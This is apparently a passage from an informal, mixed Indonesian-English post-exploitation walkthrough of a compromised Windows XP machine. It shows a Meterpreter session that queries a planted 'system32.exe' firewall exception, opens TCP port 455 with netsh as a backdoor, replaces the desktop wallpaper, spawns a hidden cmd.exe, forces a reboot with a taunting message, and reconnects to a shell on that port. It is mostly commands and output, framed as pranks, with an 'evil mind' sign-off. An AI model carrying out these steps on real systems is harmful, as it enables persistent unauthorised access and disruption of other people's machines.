meterpreter > reg queryval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v system32
Key: HKLM\system\controlset001services\sharedaccess\parameters\firewallpolicy\Standardprofile\authorizedapplications\list
Name: system32
Type: REG_SZ
Data: C:WINDOWSsystem32system32.exe:*:Enabled:system32

.with “netsh” command.

C:\Documents and Settings\pentest3\Desktop>Netsh firewall show opmode
Netsh firewall show opmode

Domain profile configuration:
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable

Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode                  = Enable <<<< this
Exception mode                    = Enable <<<< this

Local Area Connection 2 firewall configuration:
-------------------------------------------------------------------
Operational mode                  = Enable

.setting firewall menarik disana adalah operation dan exception mode yang enable.
.sehingga attacker dapat melakukan penambahan port yang terbuka.

C:\Documents and Settings\pentest3\Desktop>netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
ok.

C:\Documents and Settings\pentest3\Desktop>netsh firewall show portopening
netsh firewall show portopening

Port configuration for Domain profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
139    TCP       Enable   NetBIOS Session Service
445    TCP       Enable   SMB over TCP
137    UDP       Enable   NetBIOS Name Service
138    UDP       Enable   NetBIOS Datagram Service

Port configuration for Standard profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
455    TCP       Enable   Service Firewall              <<<< this
139    TCP       Enable   NetBIOS Session Service
445    TCP       Enable   SMB over TCP
137    UDP       Enable   NetBIOS Name Service
138    UDP       Enable   NetBIOS Datagram Service

.change target XP desktop wallpaper.
.secata default XP menamakan wallpaper desktopnya dengan wallpaper1.bmp, sehingga kita dapat melakukan replace.
.is this funny?.

meterpreter > upload /neo/wallpaper1.bmp "C:\\documents and settings\\pentest3\\local settings\\application data\\microsoft\\"
[*] uploading  : /neo/wallpaper1.bmp -> C:\documents and settings\pentest3\local settings\application data\microsoft\
[*] uploaded   : /neo/wallpaper1.bmp -> C:\documents and settings\pentest3\local settings\application data\microsoft\\wallpaper1.bmp

meterpreter > execute -H -i -f cmd.exe
Process 1096 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\pentest3\Desktop>

.one more funny stuff.
.dengan shutdown command attacker dapat melakukan shutdown/restart dengan timeout,with funny message.

C:\Documents and Settings\pentest3\Desktop>shutdown -r -f -c "::your box are belong to us::" -t 13
shutdown -r -f -c "::your box are belong to us::" -t 13

msf > connect 192.168.0.5 455
[*] Connected to 192.168.0.5:455
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\pentest3>  

are u makes fun kidd0?

upgrade ur evil mind and imagination,explore out of the sphere,think out of the box
make ur choice;

EOF--